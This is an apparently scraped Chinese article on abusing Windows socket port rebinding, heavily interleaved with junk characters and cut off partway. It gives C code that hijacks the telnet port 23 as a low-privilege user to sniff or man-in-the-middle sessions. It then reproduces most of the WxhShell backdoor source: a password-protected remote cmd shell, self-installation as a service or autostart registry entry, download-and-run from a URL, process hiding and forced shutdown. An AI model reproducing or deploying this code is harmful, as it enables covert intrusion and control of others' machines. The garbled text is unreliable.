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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3pML+Y|ij s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @TW:6v` zQ:nL*X'Z" saddr.sin_family = AF_INET; &a'mG=(K_c p:b{>lM saddr.sin_addr.s_addr = htonl(INADDR_ANY); qF^P\cD I 2AQ
G bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5"40{3 \nP79F0%2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o=94H7@ ~M*
UMF^ 这意味着什么?意味着可以进行如下的攻击: yuC$S&Y>! ,F->*= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hj"JmF$m kD+#| f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kuBtPZ 2 {WZ?H93a 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vv)w@A:Vn) y|BHSc3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 m Qx1co .<%q9Jy# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7hx^U90K jtfC3E,U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^m D$# <,p$eQ)T% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xe6V7Wi/Tt x])j]k #include uL7}JQ, #include Yur}<>`( #include U~sC%Ri-@U #include q("l?' DWORD WINAPI ClientThread(LPVOID lpParam); Am3j:|>* int main() f%_$RdU { [E<A/_z WORD wVersionRequested; gO*Gf2AG DWORD ret; 0=7Ud< WSADATA wsaData; _}j> BOOL val; =>>Dnp SOCKADDR_IN saddr; f#AuZ]h SOCKADDR_IN scaddr; D`Vb3aNB=L int err; ?nu<)~r53 SOCKET s; 8hy1yt6t4~ SOCKET sc; (W"0c?i|] int caddsize; `_/1zL[ HANDLE mt; _"D J|j DWORD tid; 1Zk1!> ? wVersionRequested = MAKEWORD( 2, 2 ); N1g;e?T': err = WSAStartup( wVersionRequested, &wsaData ); G,Yctv if ( err != 0 ) { t:lDFv4s printf("error!WSAStartup failed!\n"); B
(h`~pb return -1; hC{2LLu;n } t3}_mJ saddr.sin_family = AF_INET; #,lbM%a -KbO[b\V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8Dxg6> }Dcpe M? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z,C>Rh9Id saddr.sin_port = htons(23); 4
}_}3. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nWYfe-zQxg { v(O@~8(I printf("error!socket failed!\n"); v(sS$2J|} return -1; N8r+Q%ov } #Sg/ val = TRUE; FDFVhcr //SO_REUSEADDR选项就是可以实现端口重绑定的 e6jdSn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xXV15%& { eon(C|S7eK printf("error!setsockopt failed!\n"); Z^A( Q>{e return -1; h9c7P@29 } =&4eW#{LuH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r!>=G% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -jTK3&5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >i1wB!gc8 A}pe>ja if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [daR)C { LWM& k#i ret=GetLastError(); 86&r;c: printf("error!bind failed!\n"); R*dXbI&,e return -1; Ax!@vL&@ } ^CDh! ) listen(s,2); Bt\V1 ) while(1) .$G^c { j\.pS^+ caddsize = sizeof(scaddr); 0j#$Swa //接受连接请求 xr)m8H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'HvW&~i( if(sc!=INVALID_SOCKET) HwMe^e; { |])Ko08*tE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7V\M)r{q7 if(mt==NULL) mp]UUpt { #eI`l`} printf("Thread Creat Failed!\n"); Q6X}R,KA1 break; -Xgup,}? } 6l>016 x } [z}$G:s CloseHandle(mt); -cXVkH{ } E&W4`{6K4 closesocket(s); Zr\G=0` WSACleanup(); 1-4*YrA return 0; ]=0D~3o3 } +w3k_^X9c DWORD WINAPI ClientThread(LPVOID lpParam) x4_FG{AIu { b{e|~v6& SOCKET ss = (SOCKET)lpParam; |TBKsx8 SOCKET sc; 5i3nz=~o unsigned char buf[4096]; 9EZh~tdV[ SOCKADDR_IN saddr; pHDPj,lu long num; uUpOa+t DWORD val; TU8K\;l] DWORD ret; `p^xdj} //如果是隐藏端口应用的话,可以在此处加一些判断 `jFvG\aC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 yF&?gPh& saddr.sin_family = AF_INET; K)8 m?sf/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v[y|E;B saddr.sin_port = htons(23); l]e7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !jJH}o/KW { na4^RPtN\e printf("error!socket failed!\n"); Y2p~chx9 return -1; 5th\_n}N2/ } q/tC/V%@( val = 100; 2ld0w=?+eu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .3,Ow(3l { b9Ix*!Y ret = GetLastError(); 5adB5)` return -1; iuq%Q\0@w } b{JxTT}03 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nr9cG/" { k{$Mlt?&- ret = GetLastError(); 6sRKbp|r7 return -1; ;6zp,t0 } y {1p# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nxYp9,c" { p>]2o\[" printf("error!socket connect failed!\n"); &5wM` closesocket(sc); o[eIwGxZ closesocket(ss); j]_"MMwk$< return -1;
>*mLbp" } F_Mi/pB^`9 while(1) G@n%P~ { 5/{gY{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %g&i.2v //如果是嗅探内容的话,可以再此处进行内容分析和记录 cvf#^Cu
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S)\%.~ n num = recv(ss,buf,4096,0); #
OQ(oyT if(num>0) ?_c*(2i&^ send(sc,buf,num,0); t[L'}ig!q else if(num==0) |[lM2 break; ddD $ 4+ num = recv(sc,buf,4096,0); nM)H2'%kL& if(num>0) [P_1a`b send(ss,buf,num,0); nK9A=H'Hc else if(num==0) _-I 0f##. break; 3F0:v,+; } \TBY)_[ { closesocket(ss); lTv_%hUp closesocket(sc); !M&B=vk4 return 0 ; G(~"Zt}? } 3$`qy|=zO q[SUYb;, G" Fd]' ========================================================== =#<TE~n2( k/#& ]8( 下边附上一个代码,,WXhSHELL fOyLBixR m<;&B ========================================================== .<`Rq' f&ym'S #include "stdafx.h" !>+Na~eN J5Tl62} #include <stdio.h> COK7 i^ #include <string.h> Z*|qbu) #include <windows.h> v2Bks2 #include <winsock2.h> '
RjFWHAp #include <winsvc.h> k iCg+@nT #include <urlmon.h> \/9uS.Kw ~T[m{8uh #pragma comment (lib, "Ws2_32.lib") "syf@[tz7 #pragma comment (lib, "urlmon.lib") /\KB*dX GxGZxf*( #define MAX_USER 100 // 最大客户端连接数 %h%^i
#define BUF_SOCK 200 // sock buffer $u9y
H Z #define KEY_BUFF 255 // 输入 buffer <3>Ou(F 8Mq]
V
v #define REBOOT 0 // 重启
:RW0< #define SHUTDOWN 1 // 关机 HJ*W3Mg
L6O@ q`\z #define DEF_PORT 5000 // 监听端口 n'JwT!
A i- E~ZfJ #define REG_LEN 16 // 注册表键长度 %!HmtpS #define SVC_LEN 80 // NT服务名长度 DP NUm<> XoaB X2 // 从dll定义API t$Z#zxX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !f\y3p*j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;
. c]0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hdh'!|w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `1KZ14K .;n<k // wxhshell配置信息 T%xB|^lf struct WSCFG { |:tFQ.Z'2 int ws_port; // 监听端口 h2Z Gh char ws_passstr[REG_LEN]; // 口令 yl%F}kBR int ws_autoins; // 安装标记, 1=yes 0=no 56m|gZcC char ws_regname[REG_LEN]; // 注册表键名 a-,BBM 8| char ws_svcname[REG_LEN]; // 服务名 C/+8lA6NV char ws_svcdisp[SVC_LEN]; // 服务显示名 ?K/z`E!xhN char ws_svcdesc[SVC_LEN]; // 服务描述信息 W<3nF5! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -<i&`*zG int ws_downexe; // 下载执行标记, 1=yes 0=no fV_(P_C char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" , c/\'k\K) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vF;%#P Px}#{fkS }; dQt*/]{q c)M_&?J!5 // default Wxhshell configuration SD6xi\8 struct WSCFG wscfg={DEF_PORT, xU^Flw,4 "xuhuanlingzhe", Kl$!_ $ 1, M#d_kDMw "Wxhshell", R/iw#.Yy "Wxhshell", `W8GfbL "WxhShell Service", "@E1^ "Wrsky Windows CmdShell Service", R)#D{/#FW "Please Input Your Password: ", 3
$Uv 1, g R(*lXm5w " http://www.wrsky.com/wxhshell.exe", M,PZ|=V6a "Wxhshell.exe" BjJ$I^ }; t.>vLzrU >b |l6#% // 消息定义模块 yKa}U!$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lBL;aTzo char *msg_ws_prompt="\n\r? for help\n\r#>"; ^Yn{Vi2. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; e4ajT char *msg_ws_ext="\n\rExit.";
h.g11xa char *msg_ws_end="\n\rQuit."; w'.ny<Pe char *msg_ws_boot="\n\rReboot..."; Vl?R?K=`~J char *msg_ws_poff="\n\rShutdown..."; OlFls 8#> char *msg_ws_down="\n\rSave to "; q'M-a tE. oHbEHS61 char *msg_ws_err="\n\rErr!"; t@!X1?`w char *msg_ws_ok="\n\rOK!"; ,l`q Sz"J-3b^ char ExeFile[MAX_PATH]; TjlKy int nUser = 0; e0*', HANDLE handles[MAX_USER]; ZV_Z)< int OsIsNt; h&5H`CR[ %n9}P ,
? SERVICE_STATUS serviceStatus; r+>E`GGQ SERVICE_STATUS_HANDLE hServiceStatusHandle; Ps.O.2Z5ZB =[?2'riI // 函数声明 >&aFSL,f int Install(void); rGRxofi. int Uninstall(void); IX^k<Jqr int DownloadFile(char *sURL, SOCKET wsh); Jnm{i|6N int Boot(int flag); f
7et void HideProc(void); ?U2ed)zzw int GetOsVer(void); }jfU qqFd int Wxhshell(SOCKET wsl); +vLuzM- void TalkWithClient(void *cs); 'sY>(D*CQ int CmdShell(SOCKET sock); ^,b*.6t int StartFromService(void); 7vcYI#(2
Y int StartWxhshell(LPSTR lpCmdLine); JHc|.2Oe @
MNL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )-[ 2vhXz VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]ODC+q1 fh
)QX // 数据结构和表定义 X
c,UR. SERVICE_TABLE_ENTRY DispatchTable[] = ^Q4w<sX' { [FC7+
Ey^ {wscfg.ws_svcname, NTServiceMain}, 1?)<*[ {NULL, NULL} ]^&DEj{ }; <{YP=WYW ^QB/{9 # // 自我安装 |RwD]2H int Install(void) ,u{d@U^)3@ { B8|=P&L7N char svExeFile[MAX_PATH]; o]}b#U8S HKEY key; M`KrB5a+6 strcpy(svExeFile,ExeFile); ()(@Qcc C1|e1 // 如果是win9x系统,修改注册表设为自启动 Q]w;o&eo if(!OsIsNt) { fmA&1u/xMs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,^,Vq]$3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^;NM'Z RegCloseKey(key); 8b(UqyV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;MCv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <hdR:k@# RegCloseKey(key); //e.p6"8h return 0; _w^p~To^ } /+sn-$/"i } rc*3k } 5gGYG]*l else { W&z.O >?b/_O // 如果是NT以上系统,安装为系统服务 :{LVS
nG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &.=d,XKN if (schSCManager!=0) U-3KuR+0 { ZGzrh`j{- SC_HANDLE schService = CreateService .pi#Z/v ( }&rf'E9 schSCManager, fbwo2qe@K wscfg.ws_svcname, Q2^}NQO= wscfg.ws_svcdisp, M$%aX,nk' SERVICE_ALL_ACCESS, vjZX8KAiZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [G[HQ)A SERVICE_AUTO_START, b\][ x6zJp SERVICE_ERROR_NORMAL, _7]5Q svExeFile, =d7 lrx+z NULL, zBB4lC{q NULL, /.$n>:XR NULL, @6
gA4h NULL, !F;W#Gc NULL 0$}+tq+ ); nrwb6wj if (schService!=0) X LA { W5_t/_EWD CloseServiceHandle(schService); 6peO9]Zy CloseServiceHandle(schSCManager); Nh]eZ3O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a%;$l_wVT: strcat(svExeFile,wscfg.ws_svcname); u~1[nH: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g}$]K!F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WsJ3zZc RegCloseKey(key); bW3e*O$V return 0; q'3= } )f(#Fn } -:a
9'dT CloseServiceHandle(schSCManager); 4rwfY<G } @ L% 3} }
Cg}cD. /Kwo^Q{ return 1; &UbNp8h } M `Y~IG} eO(VSjo'` // 自我卸载
@5acTYQ int Uninstall(void) + To{Tm- { Z\(+awv HKEY key; D
gY2:&0 ~6kEpa if(!OsIsNt) { R7ZxS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !(uyqplTk RegDeleteValue(key,wscfg.ws_regname);
,Ztj RegCloseKey(key); 8$OE<c?#5n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mZ7.#R*} RegDeleteValue(key,wscfg.ws_regname); i?qS8h{ RegCloseKey(key); {\;CGoN| return 0; Gow_a' } 2P!Pbl< } s7(mNpo } R\A5f\L9 else { _D$|lk- Ga.a"\F.V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9N5&N3 if (schSCManager!=0) !j%v Ue;t { @,i:fY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =MB[v/M59w if (schService!=0) mAk)9`f/ { >e=tem~/ if(DeleteService(schService)!=0) { eDX{}Dq( CloseServiceHandle(schService); 6n CloseServiceHandle(schSCManager); y''`73U" return 0; p8%x@%k } FGzB7w# CloseServiceHandle(schService); +QtK
"5M } ojT TYR{ CloseServiceHandle(schSCManager); ~U~KUL| } _?Rprmjx} } c[3sg $;@^coz9U return 1; LUHj3H } => )l6**UE dF5EIPl;J // 从指定url下载文件 TW{.qed8^ int DownloadFile(char *sURL, SOCKET wsh)
BV9B}IV { ?\(E+6tpP HRESULT hr; jXSo{ char seps[]= "/"; &}OaiTzEmc char *token; ]A5FN4 E char *file; $*H_0w Qc char myURL[MAX_PATH]; pLDseEr< char myFILE[MAX_PATH]; {"Van,w QyJ}zwD strcpy(myURL,sURL); ",w@_}z: token=strtok(myURL,seps); ['tGc{4 while(token!=NULL) 7xMvf<1P { g.SFl file=token; (}V.xi token=strtok(NULL,seps); rNO'0Ck= } V~+Oil6sa Q\<C9%a GetCurrentDirectory(MAX_PATH,myFILE); ,gUSW strcat(myFILE, "\\"); vfK^^S strcat(myFILE, file); g"`BNI]Qp send(wsh,myFILE,strlen(myFILE),0); $!G7u<`na send(wsh,"...",3,0); i`z1if6O hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?y>P if(hr==S_OK) vYKKv%LE return 0; U rm&4&y else +Hc[5WL return 1; {SY@7G] ~ZweP$l } ]EnB`g(4; E<:XHjm // 系统电源模块 ?k TVC int Boot(int flag) +j1s*}8 { VY<$~9a&1 HANDLE hToken; 58DkVQ 6 TOKEN_PRIVILEGES tkp; Zz!XH8sH WJ<nc+/v: if(OsIsNt) { M56^p, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]e$mTRi* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M/EEoK^K@ tkp.PrivilegeCount = 1; )iNMjg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9s>q4_D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ['~3"lK^O if(flag==REBOOT) { =kp#v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B:\\aOEj return 0; Pv17wUB } ~pO6C*" else { Aq yR+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IlVz 5#R return 0; e=<knKc
Q } GPONCL8(0 } %YkJA: else { {pH{SRM)B if(flag==REBOOT) { /x c<& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oM G8?p return 0; R9A8)dDz } ",!#7h else { (dd+wx't if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v8Vw.Ce`f return 0; N7Kq$G2O } NoTEbFrV } Se.\wkl#Y #k&"Rv;, return 1; VCSHq&p8 } i ?&t@"' B7zyMh // win9x进程隐藏模块 n+QUT void HideProc(void) 2BZYC5jy { 8n+&tBq1 G0oY`WXOB HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4wjy)VD_ if ( hKernel != NULL ) )h6hN"#V5 { g HdNqOy
c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UCG8=+t5T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e/Wrm^]y FreeLibrary(hKernel); Ydm0 } 6i|5`ZO x)N$.7'9OJ return; )9I>y2WU~ } Aslh}'$}- #5)0~4%l // 获取操作系统版本 ;\ ^'}S|3Z int GetOsVer(void) Dk8
O*B { W; yNg OSVERSIONINFO winfo; d3-F?i
5d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *`2.WF@E) GetVersionEx(&winfo); =lT~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HK&Ul=^VN| return 1; ,cZhkXd
else l/1u>' return 0; GKT2x '(e } Fa<>2KkOr W!vN(1:( // 客户端句柄模块 G&=4@pLY5 int Wxhshell(SOCKET wsl) ,)/gy)~# { (3cJ8o>& SOCKET wsh; hgIqr^N9 struct sockaddr_in client; Zk,`
Iq DWORD myID; kt`_n+G BIGln`;,f while(nUser<MAX_USER) wJyrF { tpu2e*n-| int nSize=sizeof(client); URU,&gy= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~tK4C | if(wsh==INVALID_SOCKET) return 1; Hdvtgss! HYcLXh vgu handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o>WB,i^ G if(handles[nUser]==0) <Qg).n>;z closesocket(wsh); 8(-V pU else ffoL]u\ nUser++; <A|X4; } YnM&t
;TX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %Ms"LoK X$*MxMNs return 0; Pq\
`0/4_ } ],`xd_=]= %+ln_lgD: // 关闭 socket ot\ FZ void CloseIt(SOCKET wsh) ;f;A" { F1_s%& closesocket(wsh); w
O
H{L nUser--; 0s9-`nHen| ExitThread(0); o>|&k]W/ } g)?Ol D5Zgi! // 客户端请求句柄 yS#)F. void TalkWithClient(void *cs) I0iTa99K { k=]#)A(#C -M]B;[^ SOCKET wsh=(SOCKET)cs; $Lj~ge3# char pwd[SVC_LEN]; ~6{iQZa1Y char cmd[KEY_BUFF]; Fl0(n #L char chr[1]; ?'_Ty`vT int i,j; 6U .A/8z OaTnQ|* while (nUser < MAX_USER) { G5WQTMzf& d]A.=NAc if(wscfg.ws_passstr) { PP*6nW8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u<L<o2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sg%h}]~ //ZeroMemory(pwd,KEY_BUFF); JJ:p A_uX i=0; KA
$jG{yq while(i<SVC_LEN) { rX7GVg@H 5D]3I=kj // 设置超时 ak,KHA6u fd_set FdRead; %x'}aTa struct timeval TimeOut; e
p jb FD_ZERO(&FdRead); 7e NLs
FD_SET(wsh,&FdRead); mM9a T0_w TimeOut.tv_sec=8; [^Z)f<l TimeOut.tv_usec=0; 2[!3!@. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u+/Uc:XK) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yv[3&E? ]& 8c
45c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~];r{IU pwd =chr[0]; 'FNnFm if(chr[0]==0xd || chr[0]==0xa) { $-D}y: pwd=0; Yg/g9$' break; ]I,(^Xq3a( } V0)bPcS/ i++; ^C=dq(i=[ } 2LfiaHO z`"*60b // 如果是非法用户,关闭 socket jgvzp if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6|mHu2qXm } sLKk1A ,`Keqfx send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L<XAvg send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?^whK<"] ,?>{M while(1) { NX[-Y]t ]OSq}ul ZeroMemory(cmd,KEY_BUFF); >jU25"XI[ 0g2? // 自动支持客户端 telnet标准 Iuyq!R4:7 j=0; }/w]+f* while(j<KEY_BUFF) { m?<^b_a} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~8 B] cmd[j]=chr[0]; f+cN'jH
E if(chr[0]==0xa || chr[0]==0xd) { 3"BSP3/[l cmd[j]=0; Ypx5:gm|J break; 0
k.\o"y } >D
jJ*vM j++; E2xK GK } PglSQ2P hW!2C6 // 下载文件 $:?Dyu(Il if(strstr(cmd,"http://")) {
rp
'^]Zx send(wsh,msg_ws_down,strlen(msg_ws_down),0); )3IUKz%\6p if(DownloadFile(cmd,wsh)) pG6?"*Fz; send(wsh,msg_ws_err,strlen(msg_ws_err),0); XS}-@5TI else E^iShe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Z-[x9t } "MvSF1 else { nt]'>eX_} DPlDuUOd switch(cmd[0]) { f,|g|&C z`qb>Y"xf3 // 帮助 Gx7bV}&PN case '?': { UX2@eyejQ7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "Xg~1)% break; ;^TSla+t+ } 6b7c9n Z // 安装 y>#_LhTX- case 'i': { *@ { if(Install()) zviTGhA send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6dQ4Whv& else p[O\}MAd# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 86pA+c+U break;
0ijYE } %a I,K0\ // 卸载 i zYC0T9 case 'r': { ken.#>w if(Uninstall()) y|0!sNg send(wsh,msg_ws_err,strlen(msg_ws_err),0); <vE|QxpR else yH(3 m# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zs(P2$ break; o}&{Y2!x } m-qu<4A/U| // 显示 wxhshell 所在路径 d8uDSy case 'p': { Pl. y9g~ char svExeFile[MAX_PATH]; qSDn 0^y strcpy(svExeFile,"\n\r"); V'tqsKQ! strcat(svExeFile,ExeFile); N%,zME send(wsh,svExeFile,strlen(svExeFile),0); ~_hA{$ break; 8(Q|[ } [_KV;qS%/ // 重启 S
n<X case 'b': { m68>` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B^!-%_q if(Boot(REBOOT)) -e_|^T" send(wsh,msg_ws_err,strlen(msg_ws_err),0); QH,Fw$1 else { x=Aq5*A0 closesocket(wsh); .l hS ExitThread(0); *;(^)Sj4Q } ?@z/#3b break; 9Trk&OB } V.9p4k` // 关机 I94-#*~I case 'd': { jo?[M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \#PZZH% if(Boot(SHUTDOWN)) YV _ 7 .+A send(wsh,msg_ws_err,strlen(msg_ws_err),0); &"?99E> else { =it @U/ closesocket(wsh); l1#.rg ExitThread(0); qqJghV$Oj } M}j[{wW3 break; h56Kmxxk } q9H\ $ // 获取shell 8f<y~L_(` case 's': { 1 +s;a]-C CmdShell(wsh); !MrQ-B ( closesocket(wsh); bEB2q\|Je ExitThread(0); ie11syhV" break; Y]_$+Si:NK } 1{5t. // 退出 )"?eug}D case 'x': { aM
xd"cTzx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?K;l 5$?% CloseIt(wsh); jU kxA7 }} break; 1l/t|M^I } tUuARo7# // 离开 ${E^OE case 'q': { j/_&]6! send(wsh,msg_ws_end,strlen(msg_ws_end),0); C0K:
ffv;< closesocket(wsh); fdWqc_ WSACleanup(); 0l4f%'f exit(1); CPL,QVO9 break; &S`g& } 3A{)C_1a } #?k</~s6M` } |d z2Drc 0WfnX>(C7R // 提示信息 BzzZ.AH~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vhh=GJ } 2X[oge0@ } eX>*}pI AAs&P+;
return; ByuBZ!m } TqL+^:cq @e& 0Wk // shell模块句柄 }zS5o
[OE int CmdShell(SOCKET sock) H]
g=(
%ok { 0{uaSR STARTUPINFO si; /D1Lh_,2 ZeroMemory(&si,sizeof(si)); $_,-ESI si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $5/d?q-ts{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5~/EAK` PROCESS_INFORMATION ProcessInfo; p!8phS#iP char cmdline[]="cmd"; Xtfs)" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +Z2XP76(4A return 0; x;sc?5_` } |`?& %$kd`Rl} // 自身启动模式 }vh4ix int StartFromService(void) q*4U2_^. { (X
Oz0.W typedef struct UlXxG| { |IV7g*J89 DWORD ExitStatus; Cc*R3vHM6 DWORD PebBaseAddress; \'<P~I&p DWORD AffinityMask; SASLeGaV DWORD BasePriority; rjiHP;-t1 ULONG UniqueProcessId; jDqG9] ULONG InheritedFromUniqueProcessId; 8!cHRtqK } PROCESS_BASIC_INFORMATION; '<YBoU{e* ;x2o|#`b PROCNTQSIP NtQueryInformationProcess; oGB|k]6]| {l5fKVb\C static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <xF]ca static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; },#7 p}h.2)PO HANDLE hProcess; rX /' PROCESS_BASIC_INFORMATION pbi; +&S6se4 x~R,rb
